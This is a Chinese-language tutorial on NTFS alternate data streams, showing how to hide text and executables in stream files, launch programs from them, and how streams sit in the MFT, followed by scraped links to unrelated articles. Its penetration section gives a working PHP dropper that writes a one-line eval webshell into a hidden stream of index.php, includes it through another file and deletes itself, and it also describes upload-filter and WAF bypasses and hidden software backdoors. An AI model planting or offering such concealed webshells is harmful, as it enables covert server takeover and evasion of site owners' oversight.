咱们今天来研究下NTFS文件流:

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序

NTFS文件流生成步骤:
1.我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。
 

只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab
 

2.在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)。

3.包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 给mst.txt建立新的隐藏信息的流文件,使用命令notepad mst.txt:test1.txt 打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响。
 
所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失

NTFS特性和原理分析:
特性1:
实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用说明:
create      创建文件流
enum       列举文件流
delete      删除文件流
write       写入内容到文件流
append     增加文件到文件流
launch      执行文件流的内容
dump       读取文件流的内容

我们让上一步骤归零,重新来看看mst.txt:

而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。

实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:
FileStreams.exe create mst.txt vkey
 

然后写入内容到文件流vkey

FileStreams.exe create mst.txt vkey content

再来查看文件流vkey的内容

FileStreams.exe dump mst.txt vkey 14
这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)
 

那么最开始也说了,文件流是可以用来启动程序的,我们来试试:
1.加入文件到文件流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe

2.查看文件流vkey的内容,这里就看前100个字节的内容:
FileStreams.exe dump mst.txt vkey 100

3.执行文件流vkey:

顺利的执行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 这个文件。
特性2
自动创建空文件:


自动创建宿主,然后寄生。

在没有原文件的情况下创建文件流,会自动创建一个空文件。
原理分析:
好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:

如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:

详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master
File
Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:

可以看到文件流test2的数据是直接存放在MFT上,因为test2的数据小,而testExe的数据则没有明显看出来,因为testExe数据比较大,MFT里面存放的是簇信息。

渗透中的利用:

Webshell后门隐藏:

<?php
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);
$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);
?>

为什么这样写?首先我们知道网站的默认首页是index.php,所以我们使用了第一段代码:

exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');

直接写一个一句话内容到key.php这个文件流中。

其次,文件流是不可能直接执行的,但是PHP可以使用包含函数,所以就产生了第二段代码:

$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);

最后,为了不被发现要删除本身文件,就出来了代码:

$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);

软件后门隐藏:
使用特性1写一段代码后台自动运行这个文件流即可。

ByPass WAF:
测试了下一些WAF还是可以绕过的。
较为鸡肋:
 

需要有一个文件包含才行。

当然一些局限性的限制寄生虫可以拿到主权:
利用下面的默认流替换特性上传文件名为1.php:的文件,绕过后缀名限制即可。

当然你也可以做一个持续性webshell后门,然后使用include包含起来即可利用:

默认流替换:

默认流也就是宿主自身的,这里完全可以吞噬宿主,成为宿主。

这个方法算是打破常规的认识了,很有意思。

如上图,我们直接执行echo xxxx>>1.txt:
即可替换默认流:
 
当然如果宿主不存在,将会创建宿主并且吞噬宿主,从而成为宿主。

此方法笔者在一次局限性的命令执行中完美运用上了。

总结:
原文件=宿主,文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究,把文件流应用于各种操作之中,造出"猥琐"流。

文件寄生——寻找宿主的不归路(NTFS文件流实际应用)的更多相关文章

  1. Linux学习之路—Linux文件与目录管理

    该内容来自鸟哥私房菜 1.目录的相关操作 1.1 特殊的目录 .  代表此层目录 .. 代表上一层目录 -  代表前一个工作目录 ~ 代表"目前用户身份"所在的主文件夹 ~acco ...

  2. centos 6.5 服务器安装 (LNMP ntfs文件支持 PHP-RPM CHROOT沙盒)

    centos 6.5 最小化安装 进入系统 手动开启网卡 #ifconfig eth0        //(默认会自动获得ip) 修改网站配置文件,默认开启 #cd /etc/sysconfig/ne ...

  3. docker中,将容器中的文件拷贝到宿主机上

    需求说明: 今天在做docker修改配置文件的问题,一个容器要使用另外容器的一个配置文件,但是在宿主机上没有, 就考虑将容器中的文件拷贝到宿主机上,在此记录下操作过程. 操作过程: 1.通过docke ...

  4. Scala进阶之路-I/O流操作之文件处理

    Scala进阶之路-I/O流操作之文件处理 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 说起Scala语言操作文件对象其实是很简单的,大部分代码和Java相同. 一.使用Scal ...

  5. 分区恢复和NTFS文件恢复试验

    一.实验室名称:主楼实验室A2-412                  二.实验项目名称:分区恢复和NTFS文件恢复试验 三.实验学时:6学时 四.实验原理: 借助fdisk.diskgen软件对磁 ...

  6. Python之路Python文件操作

    Python之路Python文件操作 一.文件的操作 文件句柄 = open('文件路径+文件名', '模式') 例子 f = open("test.txt","r&qu ...

  7. docker 宿主机与容器直接文件移动命令

    1.将容器中的文件复制到宿主机 我们把容器中的 nginx 目录整个复制到  宿主机/usr/local/nginx 目录下,使用如下命令: docker cp nginx_test: /etc/ng ...

  8. SublimeCodeIntel 所有代码提示和补全插件 All Autocomplete 插件搜索所有打开的文件来寻找匹配的提示词

    SublimeCodeIntelSublimeCodeIntel 作为一个代码提示和补全插件,支持 JavaScript.Mason.XBL.XUL.RHTML.SCSS.Python.HTML.Ru ...

  9. Python高效率遍历文件夹寻找重复文件

    前言 为什么要写这篇文章呢...主要还是业务中有个需求,遍历一个将近200w数据的文件夹,大部分还都是视频文件那种,但是这玩意用的次数还不多,做文件夹index也不是很ok,所以写了一个脚本来处理这个 ...

随机推荐

  1. 矩阵快速幂小结-Hdu2604

    矩阵快速幂可以想象为线性代数的矩阵相乘,主要是运用于高效的计算矩阵高次方. 将矩阵两两分组,若要求a^n,即知道a^(n/2)次方即可,矩阵快速幂便是运用的这个思路. 比方想求(A)^7那么(A)^6 ...

  2. Gym - 100735E Restore

    E - Restore 题意:输入一个n,输入一个对角线空缺(为0)的n*n的矩阵,要求每一行每一列和对角线的和相同,输出完整的矩阵. 解法:设每一行的和都是sum,用一个h[]数组存每一行的和.则可 ...

  3. delphi 中的win32 以外到平台的字符串处理一定慢吗?(转载)

    原始连接:http://rvelthuis.blogspot.tw/2018/01/strings-on-other-platforms-than-32-bit.html Strings too sl ...

  4. mac挂载ntfs文件系统方法

    1.插入磁盘,并查看 zz@pzdeMacBook-Pro:~/Volumes/ntfs16g$ df Filesystem 512-blocks Used Available Capacity iu ...

  5. mysql 批量杀进程

    select concat('KILL ',id,';') from information_schema.processlist where user='root';

  6. 2019.01.21 bzoj1758: [Wc2010]重建计划(01分数规划+长链剖分+线段树)

    传送门 长链剖分好题. 题意简述:给一棵树,问边数在[L,R][L,R][L,R]之间的路径权值和与边数之比的最大值. 思路: 用脚指头想都知道要01分数规划. 考虑怎么checkcheckcheck ...

  7. jrebel热部署

    一,JRebel 插件 获取与安装 1,JRebel 官网下载地址https://zeroturnaround.com/software/jrebel/download/#!/free-trial P ...

  8. android检测手机是否安装某个app

    public static boolean isAvilible(Context context, String packageName){ //获取packagemanager final Pack ...

  9. SPRING 集成 activemq 的 topic 模式

    概要 activemq 支持两种模式: 1.队列模式 2. 发布订阅者模式,topic有一个主题可以有多个订阅者.这种情况可以将一个消息,分发到多个消费者. 比如我有这样一个案例,用户需要同步,而且需 ...

  10. Mybatis-Plus 实战完整学习笔记(九)------条件构造器核心用法大全(上)

    一.Mybatisplus通用(公共方法)CRUD,一共17种(3.0.3版),2.3系列也是这么多,这个新版本一定程度进行了改造和删减. 二.构造器UML图(3.0.3)-----实体包装器,主要用 ...